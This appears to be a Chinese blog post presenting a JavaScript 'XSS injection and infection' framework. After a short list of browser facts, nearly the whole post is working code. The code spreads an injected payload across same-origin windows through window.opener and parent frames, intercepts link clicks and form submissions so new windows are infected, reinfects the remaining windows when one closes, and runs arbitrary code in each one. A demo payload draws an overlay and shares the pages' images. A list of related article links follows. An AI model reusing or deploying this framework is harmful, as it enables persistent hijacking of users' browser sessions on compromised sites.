XSS代码注入框架
首先需要了解一下几点:
1.浏览器中Javascript变量的生命周期
Javascript变量的生命周期并不是你声明这个变量个窗口闭就被回收,只要有引用就会一直持续到浏览器关闭。
2.window对象下方法会在在窗口被关闭时清掉,比如:
window.setTimeout(function(){
alert('Hello')
},5000)
如果窗口被关掉了,那么这个回调是不会执行的[事实上,所有window所有的NativeCode都没办法用了]。
3.window.opener可以获取打开当前页面的窗口
4.window.open打开的窗口只要同域,我们是可以操作的[拦截A标签,然后用window.open打开这个页面就好啦]
5.跨域的窗口无法操作,尝试修改document.domain直接异常
6.所有代码测试于Chrome浏览器,未测试其他浏览器
下面是代码实现,点击按钮可以立即体验:
点我开启XSS
/**
* Created by AepKill on 2015-7-1 10:53:17
* XSS Inject & Infection
*/
var XSS=(function(){
var MODULE_NAME='$AePKiLL_XSS_MODULE_1_0_0';
var TOOL={
extend:function(){
if (arguments.length<=0) return {};
var result={};
for(var i= 0,l=arguments.length;i<l;i++){
for (var j in arguments[i]){
result[j]=arguments[i][j];
}
}
return result;
},
//RunCode
injectCode:function(win,code,args,self){
if (! win.window === win){
return false;
}
try {
win.Function('(' + code + ').apply(this,arguments)').apply(self||win, args||[]);
}
catch(e){
}
return true;
},
dispatchMessage:function(winList,args){
winList.getWinList().forEach(function(distWin){
try{
var message=distWin[MODULE_NAME]['Message'];
message.dispatch.apply(message,Array.prototype.slice.call(args));
}catch(e){ }
})
},
sysDispatchMessage:function(winList,args){ }
}; /*Message*/
function Message(){
//消息
var messageList={};
//消息订阅
this.subscription=function(msg){
if (messageList[msg] === undefined ){
messageList[msg]=new Array();
}
Array.prototype.slice.call(arguments,1).forEach(function(e){
if (typeof e == "function") messageList[msg].push(e);
});
};
//消息退订
this.unsubscribe=function(msg){
var msglist=messageList[msg];
Array.prototype.slice.call(arguments,1).forEach(function(e){
for (var i=0;i<msglist.length;i++){
if (msglist[i]==e){
msglist.splice(i,1);
i--;
}
}
});
};
//消息派送
this.dispatch=function(msg){
var args=Array.prototype.slice.call(arguments,1);
if (messageList[msg]){
messageList[msg].forEach(function(e){
e.apply(null,args);
})
}
}
}
/*End With Message*/ /*WinList*/
function CreateWinList(winList){ function WinList(winList){
var winList=winList.concat(); this.deleteWindow=function(win){
for (var i= 0,l=winList.length;i<l;i++){
if (win===winList[i]){
winList.splice(i,1);
break;
}
}
};
this.hasWindow=function(win){
return winList.indexOf(win)!==-1;
};
this.addWindow=function(win){
if (this.hasWindow(win)) return ;
winList.push(win);
}
this.getWinList=function(){
return winList.concat();
};
this.isEmpty=function(){
return winList.length===0;
};
this.clearCloseWindow=function(){
winList.forEach(function(e,i){
if (e.closed){
winList.splice(i,1);
}
})
} }
WinList.prototype=new Message(); return Object.freeze(new WinList(winList));
}
/*End With WinList*/ /*CoreModule*/ function CoreModule(opt,winList,message,TOOL,globalObj){
var window=this;
var _open=window.open;
var MODULE_NAME='$AePKiLL_XSS_MODULE_1_0_0';
window[MODULE_NAME]={};
var module=window[MODULE_NAME];
module['Message']=message;
if (module['RunCode'] === undefined) module['RunCode']=false;
window.open=function(){
var win=_open.apply(this,arguments);
if (win){
winList.dispatch('windowJoin',win);
window['openWin']=win;
};
return win;
}; function afterLoad(){
module['RunCode']=true;
TOOL.injectCode(window,opt.runCode,[winList,window,message,globalObj],opt);
window.document.addEventListener('click',function(e){
var el= e.target;
do{
if (el.tagName == 'A'){
e.preventDefault();
e.stopPropagation();
window.open(el.href);
break;
}
el=el.parentNode;
}while(el!=document)
});
window.document.addEventListener('submit', function(e){
var name = Math.random().toString();
open('', name);
var form = e.target;
form.target = name;
});
window.addEventListener("unload", function( event ) {
winList.dispatch('windowQuit',window,event);
});
}; window.addEventListener('DOMContentLoaded',function(){
if (module['RunCode']===false) afterLoad();
});
setTimeout(function(){
if (module['RunCode']===false) afterLoad();
},1000);
} /*End With CoreModule*/ var defaults={
runCode:function(winList,win,message,global){
/*
* winList 当前所有感染窗口的列表
* win 执行代码环境的window对象
* message 消息队列 可订阅、发送消息
* global 全局对象
* 说明:runCode在每个窗口都会执行一次
* */
console.log('汪汪汪------');
}
} return function(opt){
var winList=CreateWinList([]);
opt=TOOL.extend(defaults,opt||{});
var globalObj=Object.freeze({
dispatch:function(){
TOOL.dispatchMessage(winList,arguments);
},
getWinList:function(){
return winList.getWinList();
},
data:{ }
});
winList.subscription('windowJoin',function(win){
if (!win.window || win.closed) return ;
winList.clearCloseWindow();
var message=new Message();
TOOL.injectCode(win,CoreModule,[opt,winList,message,TOOL,globalObj],win);
globalObj.dispatch('windowJoin',win);
winList.addWindow(win);
//console.log('JOIN',winList.getWinList().length);
});
winList.subscription('windowQuit',function(win,event){
winList.clearCloseWindow();
if (winList.hasWindow(win)){
winList.deleteWindow(win);
}else{
return;
} globalObj.dispatch('windowQuit',win); if (!winList.isEmpty()){
var hero=winList.getWinList()[0];
TOOL.injectCode(hero,function(winList,win){
setTimeout(function(){
winList.dispatch('windowJoin',win);
},500);
},[winList,win]);
} }); //从iframe中往上遍历
if (window.top != window.self){
var win = window;
while (win = win.parent) { }
winList.dispatch('windowJoin',win);
}else{
winList.dispatch('windowJoin',window);
} //遍历打开的窗口
var temp1=window.opener;
while(temp1){
winList.dispatch('windowJoin',temp1);
temp1=temp1.opener;
}; };
})(); XSS({
runCode:function(winList,win,message,global) { var window=win; function code() {
var strVar = "";
strVar += "";
strVar += " <h1 style=\"color: #ccc;text-align: center;height: 30px;line-height: 30px;padding: 5px;margin: 0px;\">XSS Inject<\/h1>";
strVar += " <p id='showBox'style=\"color:#fff;height: 298px;width: 580px;margin: 10px;border: 1px solid rgba(88,88,88,0.8);border-radius: 5px;overflow-x:hidden\">";
strVar += "";
strVar += " <\/p>";
strVar += " <form style=\"width: 580px;margin: 10px;\" id=\"form1\">";
strVar += " <textarea name=\"content\"style=\"outline: none;height: 60px;width: 70%;resize:none\"><\/textarea>";
strVar += " <button style=\"outline: none;height: 60px;width: 20%;margin-left: 2%;vertical-align: top\">广播信息<\/button>";
strVar += " <\/form>";
var css = "";
css += "position:fixed;";
css += "z-index:99999999;";
css += "left:50%;";
css += "top:50%;";
css += "height50%;";
css += "margin-left:-300px;";
css += "margin-top:-225px;";
css += "height: 450px;";
css += "width: 600px;";
css += "border-radius: 10px;";
css += "box-shadow:0 0 10px 0 rgba(88,88,88,0.8);";
css += "background:rgba(88,88,88,0.8) "; var div=document.createElement('div');
div.style.cssText=css;
div.innerHTML=strVar;
document.body.appendChild(div); var text=document.querySelector('#showBox'); function appendText(txt){
text.innerHTML+=txt+'<br/>';
} document.querySelector('#form1').onsubmit=function(e){
appendText('我说:'+this['content'].value)
global.dispatch('Say', window,'['+document.title+'] 说:'+ this['content'].value);
e.stopPropagation();
e.preventDefault();
return false;
}
appendText('['+document.title+'] 页面被注入了代码');
message.subscription('Say',function(win,message){
if (win!==window) appendText(message);
});
message.subscription('windowJoin',function(win){
appendText('['+win.document.title+'] 页面被注入了代码');
});
message.subscription('windowQuit',function(win){
appendText('['+win.document.title+'] 页面被关闭了');
}); var imgList=window.document.querySelectorAll('img');
var count=0;
var timer=window.setInterval(function(){
appendText('我说:我给大家发图片了'+ '<img src="'+ (imgList[count++]).getAttribute('src')+'"/>' )
global.dispatch('Say', window,'['+document.title+'] 说:我给大家发图片了'+ '<img src="'+ (imgList[count++]).getAttribute('src')+'"/>' );
if (count>=imgList){
clearInterval(timer);
}
},2000);
}
if (document.body) {
code();
} else {
window.addEventListener('DOMContentLoaded', code);
}
}
});
XSS代码注入框架的更多相关文章
- 【技巧总结】Penetration Test Engineer[3]-Web-Security(SQL注入、XXS、代码注入、命令执行、变量覆盖、XSS)
3.Web安全基础 3.1.HTTP协议 1)TCP/IP协议-HTTP 应用层:HTTP.FTP.TELNET.DNS.POP3 传输层:TCP.UDP 网络层:IP.ICMP.ARP 2)常用方法 ...
- HTML5 App的代码注入攻击
原文链接 摘要 基于HTML5的手机app(译者注:以下简称HTML5 app)越来越流行了, 在大多数情况下它比native应用更容易适配不同的移动操作系统.它开发起来很方便,可以使用标准的web技 ...
- [Android]依赖注入框架google的dagger
分享一下Android依赖注入框架--Google升级版Dagger2框架 Google的Dagger2是对上一版squareup的Dagger改版,话不多说直接上项目代码. Dagger2源码 Da ...
- ButterKnife--View注入框架的使用
作为一名Android开发,是不是经常厌烦了大量的findViewById以及setOnClickListener代码,而ButterKnife是一个专注于Android系统的View注入框架,让你从 ...
- 【原】iOS动态性(三) Method Swizzling以及AOP编程:在运行时进行代码注入
概述 今天我们主要讨论iOS runtime中的一种黑色技术,称为Method Swizzling.字面上理解Method Swizzling可能比较晦涩难懂,毕竟不是中文,不过你可以理解为“移花接木 ...
- ButterKnife--View注入框架
俗话说,不会偷懒的程序员不是好程序员!作为一名Android的开发者,我们已经厌烦了经常写大量的findViewById以及setOnClickListener代码.而ButterKnife是一个专注 ...
- Android Dagger依赖注入框架浅析
今天接触了Dagger这套android的依赖注入框架(DI框架).感觉跟Spring 的IOC差点儿相同吧.这个框架它的优点是它没有採用反射技术(Spring是用反射的),而是用预编译技术.因为基于 ...
- 注入攻击-SQL注入和代码注入
注入攻击 OWASP将注入攻击和跨站脚本攻击(XSS)列入网络应用程序十大常见安全风险.实际上,它们会一起出现,因为 XSS 攻击依赖于注入攻击的成功.虽然这是最明显的组合关系,但是注入攻击带来的不仅 ...
- 玩转ButterKnife注入框架
在去年这个时候,我写过一篇介绍Android注解的文章android注解使用详解,这篇文章主要是介绍了Android中的AndroidAnnotations注入框架,AA框架有它自身的一些优点,这里不 ...
随机推荐
- postman 官方 test 脚本样例
Test examples 样例来源: https://learning.getpostman.com/docs/postman/scripts/test_examples/ Test scripts ...
- BeanFactory 简介以及它 和FactoryBean的区别(阿里面试)
BeanFacotry是spring中比较原始的Factory.如XMLBeanFactory就是一种典型的BeanFactory.原始的BeanFactory无法支持spring的许多插件,如AOP ...
- springMVC下出现http 400错误
参数绑定过程中类型转换失败 Failed to convert property value of type 'java.lang.String' to required type 'java.uti ...
- 洛谷 P2671 求和 解题报告
P2671 求和 题目描述 一条狭长的纸带被均匀划分出了\(n\)个格子,格子编号从\(1\)到\(n\) .每个格子上都染了一种颜色\(color_i\)用\([1,m]\)当中的一个整数表示),并 ...
- Excel VBA 从外部工作簿取数的5种方法
'======================================================= '1.循环单元格取数,效率最低,不可取,初学者易犯 '2.区域相等取数 '3.复制粘贴 ...
- 【CSS】定位层
html:定位层1.概念: >>.定位层是由html元素(标签)形成的一个特殊的box盒子. >>.其重点在于“定位”,而html元素(标签)的定位方式由CSS来控制. 通常情 ...
- 网络获取json数据并解析
1.升级流程分析
- spring boot 配置数据源
以postgreSQL为例,方便下次直接使用. 其中pom.xml引入如下依赖. <?xml version="1.0" encoding="UTF-8" ...
- vue npm start 自动打开网页
打开config/index.js,设置: autoOpenBrowser: true,(默认是false,把false改为true即可)
- webapi框架搭建系列博客
webapi框架搭建系列博客 webapi框架搭建-创建项目(一) webapi框架搭建-创建项目(二)-以iis为部署环境的配置 webapi框架搭建-创建项目(三)-webapi owin web ...